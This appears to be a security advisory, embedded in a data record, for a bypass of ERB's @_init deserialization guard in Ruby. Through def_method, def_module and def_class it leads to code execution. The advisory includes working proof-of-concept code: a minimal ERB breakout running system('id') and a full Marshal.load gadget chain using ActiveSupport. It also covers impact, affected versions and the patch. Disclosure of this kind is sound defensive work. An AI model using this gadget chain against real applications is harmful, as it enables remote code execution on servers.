+ "details": "## Summary\n\nRuby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an `@_init` instance variable guard in `ERB#result` and `ERB#run` to prevent code execution when an ERB object is reconstructed via `Marshal.load` (deserialization). However, three other public methods that also evaluate `@src` via `eval()` were not given the same guard:\n\n- `ERB#def_method`\n- `ERB#def_module`\n- `ERB#def_class`\n\nAn attacker who can trigger `Marshal.load` on untrusted data in a Ruby application that has `erb` loaded can use `ERB#def_module` (zero-arg, default parameters) as a code execution sink, bypassing the `@_init` protection entirely.\n\n<details>\n\n## The @_init Guard\n\nIn `ERB#initialize`, the guard is set:\n\n```ruby\n# erb.rb line 838\n@_init = self.class.singleton_class\n```\n\nIn `ERB#result` and `ERB#run`, the guard is checked before `eval(@src)`:\n\n```ruby\n# erb.rb line 1008-1012\ndef result(b=new_toplevel)\n unless @_init.equal?(self.class.singleton_class)\n raise ArgumentError, \"not initialized\"\n end\n eval(@src, b, (@filename || '(erb)'), @lineno)\nend\n```\n\nWhen an ERB object is reconstructed via `Marshal.load`, `@_init` is either `nil` (not set during marshal reconstruction) or an attacker-controlled value. Since `ERB.singleton_class` cannot be marshaled, the attacker cannot set `@_init` to the correct value, and `result`/`run` correctly refuse to execute.\n\n## The Bypass\n\n`ERB#def_method`, `ERB#def_module`, and `ERB#def_class` all reach `eval(@src)` without checking `@_init`:\n\n```ruby\n# erb.rb line 1088-1093\ndef def_method(mod, methodname, fname='(ERB)')\n src = self.src.sub(/^(?!#|$)/) {\"def #{methodname}\\n\"} << \"\\nend\\n\"\n mod.module_eval do\n eval(src, binding, fname, -1) # <-- no @_init check\n end\nend\n\n# erb.rb line 1113-1117\ndef def_module(methodname='erb') # <-- zero-arg call possible\n mod = Module.new\n def_method(mod, methodname, @filename || '(ERB)')\n mod\nend\n\n# erb.rb line 1170-1174\ndef def_class(superklass=Object, methodname='result') # <-- zero-arg call possible\n cls = Class.new(superklass)\n def_method(cls, methodname, @filename || '(ERB)')\n cls\nend\n```\n\n`def_module` and `def_class` accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.\n\n### Method wrapper breakout\n\n`def_method` wraps `@src` in a method definition: `\"def erb\\n\" + @src + \"\\nend\\n\"`. Code inside a method body only executes when the method is called, not when it's defined. However, by setting `@src` to begin with `end\\n`, the attacker closes the method definition early. Code after the first `end` executes immediately at `module_eval` time:\n\n```ruby\n# Attacker sets @src = \"end\\nsystem('id')\\ndef x\"\n# After def_method transformation, module_eval receives:\n#\n# def erb\n# end\n# system('id') <- executes at eval time\n# def x\n# end\n```\n\n---\n\n## Proof of Concept\n\n### Minimal (ERB only)\n\n```ruby\nrequire 'erb'\n\nerb = ERB.allocate\nerb.instance_variable_set(:@src, \"end\\nsystem('id')\\ndef x\")\nerb.instance_variable_set(:@lineno, 0)\n\n# ERB#result correctly blocks this:\nbegin\n erb.result\nrescue ArgumentError => e\n puts \"result: #{e.message} (blocked by @_init -- correct)\"\nend\n\n# ERB#def_module does NOT block this -- executes system('id'):\nerb.def_module\n# Output: uid=0(root) gid=0(root) groups=0(root)\n```\n\n### Marshal deserialization (ERB + ActiveSupport)\n\nWhen combined with `ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy` as a method dispatch gadget, this achieves RCE via `Marshal.load`:\n\n```ruby\nrequire 'active_support'\nrequire 'active_support/deprecation'\nrequire 'active_support/deprecation/proxy_wrappers'\nrequire 'erb'\n\n# --- Build payload (replace proxy class for marshaling) ---\nreal_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\nActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)\nclass ActiveSupport::Deprecation\n class DeprecatedInstanceVariableProxy\n def initialize(h)\n h.each { |k, v| instance_variable_set(k, v) }\n end\n end\nend\n\nerb = ERB.allocate\nerb.instance_variable_set(:@src, \"end\\nsystem('id')\\ndef x\")\nerb.instance_variable_set(:@lineno, 0)\nerb.instance_variable_set(:@filename, nil)\n\nproxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({\n :@instance => erb,\n :@method => :def_module,\n :@var => \"@x\",\n :@deprecator => Kernel\n})\n\nmarshaled = Marshal.dump({proxy => 0})\n\n# --- Restore real class and trigger ---\nActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)\nActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)\n\n# This triggers RCE:\nMarshal.load(marshaled)\n# Output: uid=0(root) gid=0(root) groups=0(root)\n```\n\n**Chain:**\n1. `Marshal.load` reconstructs a Hash with a `DeprecatedInstanceVariableProxy` as key\n2. Hash key insertion calls `.hash` on the proxy\n3. `.hash` is undefined -> `method_missing(:hash)` -> dispatches to `ERB#def_module`\n4. `def_module` -> `def_method` -> `module_eval(eval(src))` -> breakout -> `system('id')`\n\n**Verified on:** Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1\n\n\n</details>\n\n## Impact\n### Scope\n\nAny Ruby application that calls `Marshal.load` on untrusted data AND has both `erb` and `activesupport` loaded is vulnerable to arbitrary code execution. This includes:\n\n- **Ruby on Rails applications that import untrusted serialized data** -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC\n- **Ruby tools that import untrusted serialized data** -- any tool using `Marshal.load` for caching, data import, or IPC\n- **Legacy Rails apps** (pre-7.0) that still use Marshal for cookie session serialization\n\n### Severity justification\n\nThe `@_init` guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The `def_module` bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.\n\nThis bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.\n\n<details>\n\n### Gadget chain history\n\nSix generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:\n\n| Year | Chain | Mitigated in |\n|------|-------|-------------|\n| 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 |\n| 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 |\n| 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 |\n| 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches |\n| 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 |\n| **2026** | **ERB#def_module @_init bypass** | **ERB 6.0.4** |\n\n</details>\n\n## Patches\n\nThe problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.\n\n* ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4\n\n<details>\n\nAdd the `@_init` check to `def_method`. Since `def_module` and `def_class` both delegate to `def_method`, this single change covers all three bypass paths:\n\n```ruby\ndef def_method(mod, methodname, fname='(ERB)')\n unless @_init.equal?(self.class.singleton_class)\n raise ArgumentError, \"not initialized\"\n end\n src = self.src.sub(/^(?!#|$)/) {\"def #{methodname}\\n\"} << \"\\nend\\n\"\n mod.module_eval do\n eval(src, binding, fname, -1)\n end\nend\n```\n\n</details>\n\n-----",
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